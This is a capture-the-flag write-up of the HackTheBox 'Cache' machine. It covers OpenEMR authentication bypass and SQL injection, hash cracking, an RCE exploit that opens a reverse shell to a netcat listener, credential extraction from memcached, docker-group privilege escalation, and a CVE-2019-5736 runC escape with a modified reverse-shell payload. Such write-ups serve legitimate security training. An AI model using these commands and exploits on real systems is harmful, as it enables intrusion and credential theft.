HackTheBox - Cache
Cache just retired on Hackthebox, it’s a medium difficulty Linux box. This box was quite fun to solve and required to use a ton of vulnerabilities. This box actually made me worried a little about the state of security in some medical web tools haha.
Tl;Dr: To get the user flag you had to exploit an unauthenticated SQL Injection in a HMS (hospital management system) web app in order to retrieve the app admin hash. Once cracked you can use an authenticated remote code execution exploit to get a shell as www-data
. Using credentials found on the first website you pivot to ash
user and get the flag.
To get the root flag you first have to pivot to luffy
user by extracting its password from a memcached
instance. From luffy
account you exploit a vulnerability in docker to achieve arbitrary file read and get a root shell.
Alright! Let’s get into the details now!
First thing first, let’s add the box IP to the hosts file:
1 | [hg8@archbook ~]$ echo "10.10.10.188 cache.htb" >> /etc/hosts |
and let’s start!
User Flag
Recon
Let’s start with the classic nmap
scan to see which ports are open on the box:
1 | [hg8@archbook ~]$ nmap -sV -sT -sC cache.htb |
We have a classical web app running on port 80 and the SSH port 22 open.
Opening http://cache.htb display a following page:
Since most pages are static let’s focus on the Login
page.
Ash credentials
While trying to login with dummy credentials something immediately catch the eye:
Well that’s a quite fast error message, looks like it doesn’t even make a request to the server to check the credentials…
Looking at the page source confirms our suspicions. A Javascript file is used to check on credentials in jquery/functionality.js
:
1 | $(function(){ |
This explains why the error message was so fast to appear. Also we got credentials: ash
:H@v3_fun
. Let’s login using those:
Bummer nothing there. Let’s continue our investigation.
HMS (Hospital Management System)
While navigating the website, the author.html
page informs us of an interesting information:
ASH is a Security Researcher (Threat Research Labs), Security Engineer. Hacker, Penetration Tester and Security blogger. He is Editor-in-Chief, Author & Creator of Cache. Check out his other projects like Cache:
HMS(Hospital Management System)
[…]
Maybe the HMS
project is available on this server. Let’s add the hms
subdomain to our file to see if we can access it:
1 | [hg8@archbook ~]$ echo "10.10.10.188 hms.cache.htb" >> /etc/hosts |
No luck it redirect to the main website. Maybe hms.htb
then ?
1 | [hg8@archbook ~]$ echo "10.10.10.188 hms.htb" >> /etc/hosts |
Bingo! We have access to a new CMS called OpenEMR
:
Trying ash
credentials doesn’t works, nor openemr
default admin credentials.
Running gobuster
yields a lot of results:
1 | [hg8@archbook ~]$ gobuster dir -u "http://hms.htb" -w ~/SecLists/Discovery/Web-Content/big.txt -x php |
The admin.php
page is interesting since it give us the OpenEMR version (5.0.1 (3)
) :
This 5.0.1.3
is actually pretty old, let’s search online to see if we can find any vulnerabilities for this version:
1 | [hg8@archbook ~]$ searchsploit openemr |
Looks good! A RCE exploit, except it’s authenticated… We will need to first find a way to authenticate to OpenEMR in order to use this exploit.
Maybe we can try to relaunch the installation page at setup.php
to reconfigure the site with our own credential? Unfortunately, this doesn’t work and we get an error message saying the website have already been configured.
It’s also not possible to add a new site… Then what ?
Let’s search a bit more, maybe we missed vulnerabilities. Searching for “OpenEMR 5.0.1.3“ on Google returns an interesting paper that wasn’t available through searchploit
:
ProjectInsecurity-insecurity.sh
OpenEMR v5.0.1.3 - Vulnerability Reporthttps://www.open-emr.org/wiki/images/1/11/Openemr_insecurity.pdf
This paper presents a quite impressive list of vulnerabilities affecting OpenEMR 5.0.1.3:
Reading through the vulnerability list, we quickly understand that:
- All RCE vulnerability are authenticated
- All Arbitrary File Read/Write are authenticated
- CSRF to RCE is authenticated
- Unrestricted File Upload are authenticated
- All SQL Injection are authenticated
At first it looks like we didn’t made a lot of progress here, but another vulnerability is worth checking : “Patient Portal Authentication Bypass“:
An unauthenticated user is able to bypass the Patient Portal Login by simply navigating tothe registration page and modifying the requested url to access the desired page. Someexamples of pages in the portal directory that are accessible after browsing to theregistration page include:
- find_appt_popup_user.php
- […]
Well, this page is familiar isn’t ?
SQL injection in find_appt_popup_user.php is caused by unsanitized user input from thecatid and providerid parameters.
Linking the “Patient Portal Authentication Bypass“ and “SQL injection in find_appt_popup_user.php“ we should be able to retrieve database informations even while being unauthenticated. Let’s give a try.
SQL Injection on OpenEMR
Heading to http://hms.htb/portal/find_appt_popup_user.php
first redirects us to the Patient Login page. Since the Registration is open, we can create an account and browse back to find_appt_popup_user.php
:
From there we can quickly validate the SQL injection possibility:
Let’s now use SQLMap to speed-up our injection process:
1 | [hg8@archbook ~]$ sqlmap -u "http://hms.htb/portal/find_appt_popup_user.php?catid=1" --cookie="PHPSESSID=fobps042o1oh4u325nqk3jnniv; OpenEMR=qsvth3m6bqdgnusejnn36bd1pe" |
Let’s list the databases:
1 | [hg8@archbook ~]$ sqlmap -u "http://hms.htb/portal/find_appt_popup_user.php?catid=1" --cookie="PHPSESSID=fobps042o1oh4u325nqk3jnniv; OpenEMR=qsvth3m6bqdgnusejnn36bd1pe" --dbs |
Well that’s no surprise here. According to OpenEMR documentation, the admin user accounts are stored in the users_secure
table. Let’s dump it:
1 | [hg8@archbook ~]$ sqlmap -u "http://hms.htb/portal/find_appt_popup_user.php?catid=1" --cookie="PHPSESSID=fobps042o1oh4u325nqk3jnniv; OpenEMR=qsvth3m6bqdgnusejnn36bd1pe" -D openemr -T users_secure --dump |
Alright, we got openemr_admin
password hash and password salt.
Admin hash bruteforce
The easiest way to authenticate to OpenEMR and achieve Remote Code Execution is to bruteforce the openemr_admin
password hash we found earlier. At first look it seems like bcrypt
hash.
hashid
can confirm our guess:
1 | [hg8@archbook ~]$ hashid "\$2a\$05\$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B." -mj |
Let’s now use john
to see if we can easily brute-force the hash:
1 | [hg8@archbook ~]$ john --wordlist=~/SecLists/Passwords/Leaked-Databases/rockyou.txt hash.txt |
Alright, we got the admin credentials: openemr_admin
:xxxxxx
. We can login on OpenEMR portal to make sure the informations are correct and move to the next step: Remote Code Execution.
OpenEMR Authenticated Remote Code Execution
Coming from the same team who made the vulnerability report on OpenCRM we found earlier this Authenticated Remote Code Execution exploit on searchsploit
. After a quick review nothing need to be changed to make it work on our instance. Let’s give it a try to open a reverse shell.
First let’s open our listener as usual:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
1 | [hg8@archbook ~]$ cp /usr/share/exploitdb/exploits/php/webapps/45161.py openemr-rce.py |
And we get a new connection on our listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
Quickly we can see we need to pivot to ash
user:
1 | www-data@cache:/var/www/html$ ls -l /home/ash |
Pivot www-data -> ash
First let’s upgrade our shell to ease our recon:
1 | www-data@cache:/$ python3 -c 'import pty;pty.spawn("/bin/bash")' |
With this fully interactive shell we can now try to pivot to ash
user using the credentials we found earlier.
1 | www-data@cache:/$ su - ash |
Root Flag
Recon
While doing our various usual recon task we notice a service listening on 11211
:
1 | ash@cache:~$ netstat -l |
Port 11211
correspond to Memcached:
Memcached is a high-performance, distributed memory object caching system, generic in nature, but intended for use in speeding up dynamic web applications by alleviating database load.
Memcached is an in-memory key-value store for small chunks of arbitrary data (strings, objects) from results of database calls, API calls, or page rendering.
Given the name of the box, digging into the Memcached service might be worth it…
Memcached enumeration
According to the documentation connecting to port 11211
from localhost
allows to enumerate objects stored:
First let’s connect to memcached using telnet
:
1 | ash@cache:~$ telnet localhost 11211 |
Let’s print memory statistics with stats slabs
:
1 | stats slabs |
We have only one object in memory. Let’s fetch the key’s names associated with this one:
1 | stats cachedump 1 0 |
Looks good! We have a user and password key. Let’s dump the values stored in it:
1 | get link |
Pivot ash -> luffy
Since we have luffy
credentials let’s just try to login through SSH:
1 | [hg8@archbook ~]$ ssh [email protected] |
Alright we are now logged as luffy
. Uppon quick enumeration we noticed luffy
is hosting docker:
1 | luffy@cache:~$ groups |
Docker Privilege Escalation
Belonging to docker
group gives extra permissions related to docker. This is going to allow us to use the widely know docker privilege escalation technique which consist in using the permission to run container with host mounted volumes. Let’s see how it’s done.
First we need to have a docker image available. It’s our luck there is an ubuntu
image already installed:
1 | luffy@cache:/$ docker image list |
Then we can spawn an interactive root
shell alongside the -v
option to mount the entire filesystem of the host to the ubuntu
container:
1 | luffy@cache:/tmp$ docker run -v /:/mnt -it ubuntu chroot /mnt sh |
“Intended” way to root
While I am pretty sure this is the indented way to root
most people probably missed/skipped it for the easiest version from Docker group privilege escalation.
With that being said let’s see this second way to root.
Uppon checking the docker version we notice it’s an old one (18.09.2
):
1 | luffy@cache:~$ luffy@cache:~$ docker --version |
Searhsploit
returns an interesting result for this version:
1 | [hg8@archbook ~]$ searchsploit docker |
Let’s dig in!
Docker container escape via runC (CVE-2019-5736)
The advisory on this CVE describe the issue this way:
The vulnerability allows a malicious container to overwrite the host runc binary and thus gain root-level
code execution on the host. The level of user interaction is being able to run any command as root within a container in either of these contexts:
- Creating a new container using an attacker-controlled image.
- Attaching (docker exec) into an existing container which the
attacker had previous write access to.This vulnerability is not blocked by the default AppArmor policy, nor
by the default SELinux policy on Fedora. […]
Sounds like exactly our context. We can even find a Proof Of Concept on Github. Let’s give it a try:
1 | [hg8@archbook ~]$ git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git |
We need to edit the main.go
payload in order to open a reverse shell:
1 | - var payload = "#!/bin/bash \n cat /etc/shadow > /tmp/shadow && chmod 777 /tmp/shadow" |
Then we can build the exploit and send it alongside a copy of netcat
to the box:
1 | [hg8@archbook ~]$ go build main.go |
We have everything ready, let’s open our nc
listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
And finally run the exploit:
1 | luffy@cache:/tmp/.hg8$ docker run --rm --name pwnme -dit ubuntu bash |
At this point we open a new SSH connection as luffy
and open a new sh
shell from the pwnme
container:
1 | luffy@cache:~$ docker exec -it pwnme /bin/sh |
And we get a new connection on our listener:
1 | [hg8@archbook ~]$ nc -l -vv -p 8585 |
That’s it folks! As always do not hesitate to contact me for any questions or feedbacks!
See you next time ;)
-hg8